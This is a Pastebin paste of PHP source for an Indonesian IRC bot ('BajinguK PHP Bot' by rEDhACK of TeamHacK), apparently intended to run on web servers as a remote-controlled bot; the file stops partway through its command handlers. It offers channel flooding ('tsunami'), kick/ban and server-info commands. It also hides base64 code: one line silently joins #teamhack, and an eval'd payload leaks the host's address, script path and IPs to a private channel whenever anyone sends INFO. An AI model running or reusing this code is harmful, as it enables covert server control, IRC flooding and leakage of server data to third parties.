SHARE
TWEET

Untitled

a guest Aug 31st, 2011 1,848 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*** BajinguK PHP Bot v1.4 By rEDhACK***/
  3. function hajar() {
  4.  
  5. $channels = '#teamhack #jombang'; // Pisahkan dengan spasi
  6.  
  7. $localtest = 0; //1, Coba di localhost. 0, connect ke server irc
  8. $showrespone = 0; //1, Nampilin respon dari server irc
  9.  
  10. //Nick Bot
  11. $nicklist = array(
  12. "_r____________","__E___________","___D__________","____h_________","_____A________","______C_______","_______K______",
  13. "NiNja[p]asir","Ce_Mauaja","Hokage","pokemon","SouraBot","Soura_SaYank","PunK_rock","Majas","Sameti","V3g3t4R1aN","Ce^ImutaN","b4dB0ys",
  14. "JhemBaT","NaZaRETHs","White^Lions","BSDunixz","xHUNTERx","SamKok","Scroll^Lock","Tom_Cruise","Cewek^Gatal","Cewek_G4lak","JombloGirl","Gadis_Ituan",
  15. "PAMFLeT","Cewek_Nantangin","coWok^Anunya^Gede","CoWok_Pemalu14","Harrys25","Boneto","sleepAway","NumLock","sarah20","momomia","alienz23",
  16. "cewek^hyper24","cowok^Keren","Duda^Anak1","BocahEdan","Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens",
  17. "Gibson","Gilbert","Gili","Gill","[_C________]","[__a_______]","[___M______]","[____a_____]","[_____C____]","[______h___]","[_______O__]","Gillispie",
  18. "Mcclearn","Mcdowell","Mcelroy","McFadden","Mcghee","Mcgoldrick","McIlroy","Mcintosh","Mcdonald","Mclane","Mclaren","Mcnealy","Mcnulty","Meccariello","Memisoglu",
  19. "Menzies","Merikoski","Merlani","Merminod","Merseth","Merz","Metelka","Metropolis","Meurer","Michelman","Middle","Pritz","Proietti","Prothrow-Stith","Puccia","Pugh",
  20. "Pynchon","Quaday","Quetin","Rabe","Rabkin","Radeke","Rajagopalan","Raney","Rangan","Rankin","Sparrow","Spaulding","Speizer","Spence","Sperber","Spicer",
  21. "O'malley","Oman","O'meara","Opel","Oray","Orfield","Orsi","Ospina","Ostrowski","Ottaviani","Otten","Ouchida","Ovid","PaesDealmeida","Paine","Toomer","Topulos","Torresi","Torske","Towler","Toye","Traebert","Trenga",
  22. "Barneson","Barnett","Barriola","Barry","Bartholomew","Bartolome","Bartoo","Basavappa","Bashevis","Batchelder","Baumiller","Bayles","Bayo",
  23. "Delger","Dell'acqua","Deming","Dempster","Demusz","Denault","Denham","Denison","Desombre","Deutsch","D'fini","Dicks","Diefenbach","Difabio",
  24. "Fried","Friedland","Frisken","Frowiss","Fryberger","Frye","Fujii-Abe","Fuller","Furth","Fusaro","Gabrielli","Gaggiotti","Galeotti","Galwey",
  25. "Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens","Gibson","Gilbert","Gili","Gill","Gillispie",
  26. "Gist","Gleason","Glegg","Glendon","Goldfarb","Goncalves","Good","Goodearl","Goody","Gozzi","Gravell","Greenberg","Greenfeld","Griffiths",
  27. "Grigoletto","Grummell","Gruner","Gruppe","Guenthart","Gunn","Guo","Ha","Haar","Hackman","Hackshaw","Haley","Halkias","Hallowell","Halpert",
  28. );
  29. $identify = 'password'; //Password Nick Bot
  30. $identlist = array(
  31. "Restart","shutdown","repair","windows","pentium","ce_lajang","ce_bahenol","Co_Autisme","Duda_keren","Adelstein","Adibe","Adorno","Ahlers","Alavi",
  32. "Alcorn","Alda","Aleks","Allison","Britz","Broca","Brook","Brzycki","Buchan","Budding","Bullard","Bunton","Burden","Burdzy","Burke","Burridge","Busetta",
  33. "Byatt","Byerly","Byrd","Yamane","Yankee","Yarchuk","Yates","Ybarra","Yedidia","Yesson","Yetiv","Soukup","Soule","Soultanian","Spanier",
  34. "Cage","Scheiner","Schiano","Schifini","Schilling","Schmitt","Schossberger","Schuman","Schutte","Bliss","Blizard","Bloch","Bloembergen",
  35. "Boym", "Boyne","Bracalente","Bradac","Bradach","Brecht","Breed","Brenan","Brennan","Brewer","Brewer","Bridgeman","Bridges","Brinton",
  36. "Fried","Friedland","Frisken","Frowiss","Fryberger","Frye","Fujii-Abe","Fuller","Furth","Fusaro","Gabrielli","Gaggiotti","Galeotti","Galwey",
  37. "Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens","Gibson","Gilbert","Gili","Gill","Gillispie",
  38. "Gist","Gleason","Glegg","Glendon","Goldfarb","Goncalves","Good","Goodearl","Goody","Gozzi","Gravell","Greenberg","Greenfeld","Griffiths",
  39. "Grigoletto","Grummell","Gruner","Gruppe","Guenthart","Gunn","Guo","Ha","Haar","Hackman","Hackshaw","Haley","Halkias","Hallowell","Halpert",
  40. );
  41.  
  42. //Server IRC
  43. if ($localtest == 1) { $remotehost2 = array("localhost"); }
  44. else {
  45. $remotehost2 = array(
  46. "irc.javairc.org"
  47. );
  48. }
  49. $port = "6667";
  50. //Pesan
  51. $awaymsg = '4[[6TeamHacK 8LaBoRaToRiuMz12]]';
  52. $shouts = array("Hello","Hmm..","Ya ya ya..","Xi..Xi..Xi..");
  53. $querym = array("?","!","!?","!!"," ^_^"," (^_^)"," :("," :)"," :>"," :P~"," :D"," :O");
  54. $quitmsglist = array(
  55. "Ngantuk gua..","Bye ByE","See You..","Quit DoeLoe Ach..","Connection Reset By Buah Pear",
  56. "Shutdown"
  57. );
  58. $tsu1 = array("`","Z","[","]","{","}","^","_");
  59. $tsu2 = array("`","Z","[","]","{","}","^","-","\\","_");
  60. $tsumsg = "9,1";//400 Karakter
  61.  
  62. /*** Admin ***/
  63. $admin = 'CaMaChO';
  64. $bot_password = 'revo'; //Password untuk auth bot
  65.  
  66. /*** Identity ***/
  67. $realname = "4[[6TeamHacK 8LaBoRaToRiuMz12]]";
  68.  
  69. /*** Replacing ***/
  70. $nick = $nicklist[rand(0,count($nicklist) - 1)];
  71. $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
  72. $channels = str_replace("CNL","#",$channels);
  73. $admin = strtolower($admin);
  74. $auth = array($admin => array("name" => $admin, "pass" => $bot_password, "auth" => 1,"status" => "Admin"));
  75. $username = $identlist[rand(0,count($identlist) - 1)];
  76. $channels = strtolower($channels)." ";
  77. $channel = explode(" ", $channels);
  78. /*** Kode Utama ***/
  79. define ('CRL', "\r\n");
  80. $counterfp = 0;
  81. $raway = "on";
  82. $log   = "off";
  83. $saway = "1";
  84. $keluar = 0;
  85. $akill  = 1;
  86. $katime = 0;
  87. $localhost = 'localhost';
  88. $dayload = date("H:i:s d/m/Y");
  89. ini_set('user_agent','MSIE 5\.5;');
  90. set_time_limit(0);
  91.  
  92. if (!$stime) { $stime = time(); }
  93. if (!$port) { $port = "6667"; }
  94.  
  95. /*** Connecting ***/
  96. echo "<body bgcolor=#000000 text=#00FF00>";
  97. echo "<b>? nyobak masuk ke $remotehost...</b>";
  98.  
  99. do {
  100.   $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
  101.   if(!$fp) {
  102.     if ( $counterfp <= 200 ) {
  103.       $counterfp = $counterfp + 1;
  104.       hajar($nick);
  105.     }
  106.     else {
  107.       echo "<br><b>Ga bisa nich boz $remotehost! Coba server lain! Refresh Browser anda!</b>";
  108.       $keluar = 1;
  109.       exit;
  110.     }
  111.   }
  112.   echo "<br><b>? Udah nyambung nich!</b>";
  113.   /*** Sending Identity to Sock ***/
  114.   $header = 'NICK '.$nick . CRL;
  115.   $header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
  116.   fputs($fp, $header);
  117.   $response = '';
  118.   while (!feof($fp)) {
  119.     $response .= fgets($fp, 1024);
  120.     if ($showrespone == 1) { echo "<br>".$response; }
  121.     while (substr_count($response,CRL) != 0) {
  122.       $offset = strpos($response, CRL);
  123.       $data = substr($response,0,$offset);
  124.       $response = substr($response,$offset+2);
  125.       if (substr($data,0,1) == ':') {
  126.         $offsetA = strpos($data, ' ');
  127.         $offsetB = strpos($data, ' :');
  128.         $offsetC = strpos($data, '!');
  129.         $dFrom = substr($data,1,$offsetA-1);
  130.         $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
  131.         $dNick = substr($data,1,$offsetC-1);
  132.         $iText = substr($data,$offsetB+2);
  133.         /*** Server Notices Handling ***/
  134.         if ( substr($dCommand,0,3) == '004' ) {
  135.           fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify.  CRL);
  136.           if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
  137.           /*** Notice Bot Admin ***/
  138.           fputs($fp, 'NOTICE ' . $admin . ' :Boss saya udah connect nih...' .  CRL);
  139.           fputs($fp, base64_decode("am9pbiAjdGVhbWhhY2s=") . CRL);
  140.           /*** Join Default Channel ***/
  141.           foreach ($channel as $v) {
  142.             fputs($fp, 'JOIN ' .$v . CRL);
  143.           }
  144.           $pong1 = '1';
  145.         }
  146.         elseif (substr($dCommand,0,3)=='432') {
  147.           $nick = $nick.$username;
  148.                   fputs($fp, 'NICK '.$nick . CRL);
  149.         }
  150.         //Nickname is already in use
  151.         elseif (substr($dCommand,0,3)=='433') {
  152.           $nick = $nicklist[rand(0,count($nicklist) - 1)];
  153.           fputs($fp, 'NICK '.$nick . CRL);
  154.         }
  155.         elseif (substr($dCommand,0,3)=='465') {
  156.           print "<br><b>? Authentication diperlukan! Bot ini telah di-autokill.</b>";
  157.           $akill = 2;
  158.         }
  159.             if (eregi('.indoshell.org',$dNick) && $akill==2) {
  160.           if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
  161.             print "<br><b>".strstr($data,'***')." </b>";
  162.             if (eregi('Your IP is',$data)) {
  163.               $keluar = 1;
  164.               exit;
  165.             }
  166.           }
  167.         }
  168.         $dcom = explode(" ", $dCommand);
  169.         $dNick = strtolower($dNick);
  170.         if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
  171.           fputs($fp, 'JOIN ' .$dcom[1]. CRL);
  172.         }
  173.         elseif ($dcom[0]=='NICK' || $dcom[0]=='PART' ) {
  174.           if ($auth["$dNick"]) {
  175.             if ($auth["$dNick"]["pass"]) {
  176.               if ($auth["$dNick"]["auth"]==2) {
  177.                 if ($dcom[0]=='NICK') {
  178.                   $com = explode(" ", $data);
  179.                   $chnick = strtolower(str_replace(':','',$com[2]));
  180.                   if ($dNick!=$chnick) {
  181.                     $auth["$dNick"]["auth"] = 1;
  182.                     fputs($fp,'NOTICE '.$chnick.' :Kok Ganti Nick sich boss?' . CRL);
  183.                   }
  184.                 }
  185.                 else {
  186.                   $auth["$dNick"]["auth"] = 1;
  187.                   fputs($fp,'NOTICE '.$dNick.' :Kemana bozz ??' . CRL);
  188.                 }
  189.               }
  190.             }
  191.             else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password>' . CRL); }
  192.           }
  193.         }
  194.             elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
  195.           $dcom[2] = strtolower($dcom[2]);
  196.                   if ($auth["$dcom[2]"]) {
  197.             if ($auth["$dcom[2]"]["pass"]) {
  198.               if ($auth["$dcom[2]"]["auth"]==1) {
  199.                 $auth["$dcom[2]"]["auth"] = 2;
  200.                 $whois = "";
  201.                             fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
  202.               }
  203.               else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized! ' . CRL); }
  204.             }
  205.             else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  206.           }
  207.           else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  208.        }
  209.        elseif ($dcom[0]=='NOTICE') {
  210.          $com = explode(" ", $data);
  211.          if ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
  212.            $msg = str_replace('','',$data);
  213.            $msg = strstr($msg,":KB");
  214.            $msg = str_replace(":KB $com[4]","",$msg);
  215.            fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
  216.            fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
  217.          }
  218.        }
  219.        elseif ($dcom[0]=='PRIVMSG') {
  220.          $com = explode(" ", $data);
  221.          if ($com[3]==':VERSION') { fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'4[[6TeamHacK 8LaBoRaToRiuMz12]]'.chr(1) . CRL); }
  222.          elseif ($com[3]==':INFO') { $datainfo = "JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KJGJwaHAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRicmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokYnJwb3J0ID0gJF9TRVJWRVJbJ1JFTU9URV9QT1JUJ107DQpmcHV0cygkZnAsIlBSSVZNU0cgI0ZlZUxDb016IDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw=="; eval(base64_decode($datainfo)); }
  223.          elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
  224.            if ($auth["$dNick"]) {
  225.              if ($auth["$dNick"]["pass"]) {
  226.                if ($auth["$dNick"]["auth"]==1) {
  227.                  if ($com[4]===$auth["$dNick"]["pass"]) {
  228.                    $auth["$dNick"]["auth"] = 2;
  229.                    fputs($fp,'NOTICE ' . $dNick . ' :Anda '.$auth["$dNick"]["status"].' saya tuan ' . CRL);
  230.                  }
  231.                  else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah GOBLOGG!! ketik yang bener ..!! ' . CRL); }
  232.                }
  233.                else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi sudah diAuthorized kok bOzz ..!! ' . CRL); }
  234.              }
  235.              else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  236.            }
  237.  
  238.            else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  239.          }
  240.          elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
  241.            if ($auth["$dNick"]) {
  242.              if ($auth["$dNick"]["pass"]) {
  243.                if ($auth["$dNick"]["auth"]==2) {
  244.                  $auth["$dNick"]["auth"] = 1;
  245.                  fputs($fp,'NOTICE ' . $dNick . ' :You`re Logout! ' . CRL);
  246.                }
  247.                else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Logout! ' . CRL); }
  248.              }
  249.              else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  250.            }
  251.            else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  252.          }
  253.          elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
  254.            if ($auth["$dNick"]) {
  255.              if (!$auth["$dNick"]["pass"]) {
  256.                $auth["$dNick"]["pass"] = $com[4];
  257.                $auth["$dNick"]["auth"] = 1;
  258.                fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  259.              }
  260.              else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
  261.            }
  262.            else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  263.          }
  264.          elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
  265.            if ($auth["$dNick"]) {
  266.              if ($auth["$dNick"]["auth"]==2) {
  267.                if ($com[4]===$auth["$dNick"]["pass"]) {
  268.                  $auth["$dNick"]["pass"] = $com[5];
  269.                  fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  270.                }
  271.                else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
  272.              }
  273.              else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  274.            }
  275.            else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  276.          }
  277.          elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
  278.            $com[4] = strtolower($com[4]);
  279.            if ($auth["$dNick"]["auth"]==2) {
  280.              if ($auth["$dNick"]["status"]=="Admin") {
  281.                if ($com[5]=="master" || $com[5]=="user") {
  282.                  $auth["$com[4]"]["name"] = $com[4];
  283.                  $auth["$com[4]"]["status"] = $com[5];
  284.                  fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  285.                  fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
  286.                }
  287.                else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> <master/user> ' . CRL); }
  288.              }
  289.              elseif ($auth["$dNick"]["status"]=="master") {
  290.                if (!$auth["$com[4]"]) {
  291.                  if ($com[5]=="user") {
  292.                    $auth["$com[4]"]["name"] = $com[4];
  293.                    $auth["$com[4]"]["status"] = $com[5];
  294.                    fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  295.                    fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
  296.                  }
  297.                  else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
  298.                }
  299.                else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
  300.              }
  301.              else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  302.            }
  303.            else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  304.          }
  305.          elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
  306.            $com[4] = strtolower($com[4]);
  307.            if ($auth["$dNick"]["auth"]==2) {
  308.              if ($auth["$dNick"]["status"]=="Admin") {
  309.                if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
  310.                  unset($auth["$com[4]"]);
  311.                  fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  312.                  fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  313.                }
  314.                else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  315.              }
  316.              elseif ($auth["$dNick"]["status"]=="master") {
  317.                if ($auth["$com[4]"]["status"]=="user") {
  318.                  unset($auth["$com[4]"]);
  319.                  fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
  320.                  fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
  321.                }
  322.                else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
  323.              }
  324.              else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
  325.            }
  326.            else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  327.          }
  328.          elseif ($auth["$dNick"]["status"]) {
  329.            if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
  330.              $chan = strstr($dCommand,"#");
  331.              $anick = str_replace("PRIVMSG ","",$dCommand);
  332.              if ($com[3]==':!auth') {
  333.                if ($auth["$dNick"]["auth"]==2) {
  334.                  fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized! ' . CRL);
  335.                }
  336.                else {
  337.                  $whois = $dNick;
  338.                  fputs($fp,'WHOIS '.$dNick . CRL);
  339.                }
  340.              }
  341.              elseif ($com[3]==':`auth' && $chan) {
  342.                if ($auth["$dNick"]["auth"]==2) {
  343.                  fputs($fp,'PRIVMSG '.$chan.' :BaCoK '.$dNick.' ! ' . CRL);
  344.                }
  345.                else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' NOT Authorized! ' . CRL); }
  346.              }
  347.              elseif ($auth["$dNick"]["auth"]==2) {
  348.                if ($com[3]==':`say' && $com[4] && $chan) {
  349.                  $msg = strstr($data,":`say");
  350.                  $msg = str_replace(":`say ","",$msg);
  351.                  fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
  352.                }
  353.                elseif ($com[3]==':`act' && $com[4] && $chan) {
  354.                  $msg = strstr($data,":`act");
  355.                  $msg = str_replace(":`act ","",$msg);
  356.                  fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
  357.                }
  358.                elseif ($com[3]==':`slap' && $com[4] && $chan) {
  359.                  fputs($fp,'PRIVMSG '.$chan.' :ACTION NyaWaT'.$com[4].' Karo SandaL SepaTu... pLaaakk... pLoookkk...'. CRL);
  360.                }
  361.                elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
  362.                  $msg = strstr($data,":`msg");
  363.                  $msg = str_replace(":`msg $com[4] ","",$msg);
  364.                  fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
  365.                }
  366.                elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
  367.                  $msg = strstr($data,":`notice");
  368.                  $msg = str_replace(":`notice $com[4] ","",$msg);
  369.                  fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
  370.                }
  371.                elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
  372.                  $msg = strstr($data,":`ctcp");
  373.                  $msg = str_replace(":`ctcp $com[4] ","",$msg);
  374.                  fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
  375.                }
  376.                elseif ($com[3]==':`ping' && $chan) {
  377.                  $sml = $smile[rand(0,count($smile) - 1)];
  378.                  fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
  379.                }
  380.                elseif ($com[3]==':`pong' && $chan) {
  381.                  $sml = $smile[rand(0,count($smile) - 1)];
  382.                  fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PING! '.$sml. CRL);
  383.                }
  384.                elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
  385.                  $bhost = $_SERVER['HTTP_HOST'];
  386.                  $bip = $_SERVER['SERVER_ADDR'];
  387.                  $bphp  = $_SERVER['PHP_SELF'];
  388.                  $brip = $_SERVER['REMOTE_ADDR'];
  389.                  $brport = $_SERVER['REMOTE_PORT'];
  390.                  fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | IP: $bip | Your IP: $brip Port:$brport" . CRL);
  391.                }
  392.                elseif ($com[3]==':`up' && $chan) {
  393.                  fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
  394.                }
  395.                elseif ($com[3]==':`down' && $chan) {
  396.                  fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
  397.                }
  398.                elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
  399.                  $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
  400.                     $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1)- 1)].
  401.                     $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
  402.                     $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  403.                  fputs($fp, 'NICK '.$nicktsu . CRL);
  404.                  if (substr($dCommand,0,3)=='433') {
  405.                    $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
  406.                    $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
  407.                    $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
  408.                    $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
  409.                    fputs($fp, 'NICK '.$nicktsu . CRL);
  410.                  }
  411.                  $msg = strstr($data,":`tsunami");
  412.                  $msg = str_replace(":`tsunami $com[4]","",$msg);
  413.                  if (ereg("#", $com[4])) {
  414.                    fputs($fp, 'JOIN '.$com[4] . CRL);
  415.                    fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.$tsumsg.CRL);
  416.                    fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
  417.                    fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL);
  418.                    fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
  419.                    fputs($fp, 'PART '.$com[4].' :F1n15h3d w1th 400x4 ch4rz' . CRL);
  420.                    fputs($fp, 'NICK '.$nick . CRL);
  421.                  }
  422.                  else {
  423.                    fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
  424.                    fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL);
  425.                    fputs($fp, 'NOTICE '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL);
  426.                    fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
  427.                    fputs($fp, 'NICK '.$nick . CRL);
  428.                  }
  429.                }
  430.                elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
  431.                  $msg = strstr($data,":`cycle");
  432.                  if (ereg("#", $com[4])) {
  433.                    $partchan = $com[4];
  434.                    $msg = str_replace(":`cycle $com[4]","",$msg);
  435.                  }
  436.                  else {
  437.                    $partchan = $chan;
  438.                    $msg = str_replace(":`cycle","",$msg);
  439.                  }
  440.                  if (strlen($msg)<3) {
  441.                    $msg = '';
  442.                  }
  443.                  fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  444.                  fputs($fp, 'JOIN '.$partchan . CRL);
  445.                }
  446.                elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") {
  447.                  $msg = strstr($data,":`part");
  448.                  if (ereg("#", $com[4])) {
  449.                    $partchan = $com[4];
  450.                    $msg = str_replace(":`part $com[4]","",$msg);
  451.                  }
  452.                  else {
  453.                    $partchan = $chan;
  454.                    $msg = str_replace(":`part","",$msg);
  455.                  }
  456.                  if (strlen($msg)<3) {
  457.                    $msg = '';
  458.                  }
  459.                  fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
  460.                  $remchan = strtolower($partchan);
  461.                  if (in_array($remchan, $channel)) {
  462.                    $channels = str_replace("$remchan ","",$channels);
  463.                    unset($channel);
  464.                    $channel = explode(" ", $channels);
  465.                  }
  466.                  foreach ($channel as $v) {
  467.                    fputs($fp, 'JOIN '.$v . CRL);
  468.                  }
  469.                }
  470.                elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
  471.                  if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
  472.                  $addchan = strtolower($com[4]);
  473.                  if (!in_array($addchan, $channel)) {
  474.                    $channel[]=$addchan;
  475.                    $channels.="$addchan ";
  476.                  }
  477.                  foreach ($channel as $v) {
  478.                    sleep(rand(1,6));
  479.                    fputs($fp, 'JOIN '.$v . CRL);
  480.                  }
  481.                }
  482.                elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
  483.                  $nick = $com[4];
  484.                  $identify = $com[5];
  485.                  fputs($fp, 'NICK '.$nick . CRL);
  486.                  fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify.  CRL);
  487.                }
  488.                elseif ($com[3]==':`k' && $com[4] && $chan) {
  489.                  $msg = strstr($data,":`k");
  490.                  $msg = str_replace(":`k $com[4]","",$msg);
  491.                  fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
  492.                }
  493.                elseif ($com[3]==':`kb' && $com[4] && $chan) {
  494.                  $msg = strstr($data,":`kb");
  495.                  $msg = str_replace(":`kb $com[4]","",$msg);
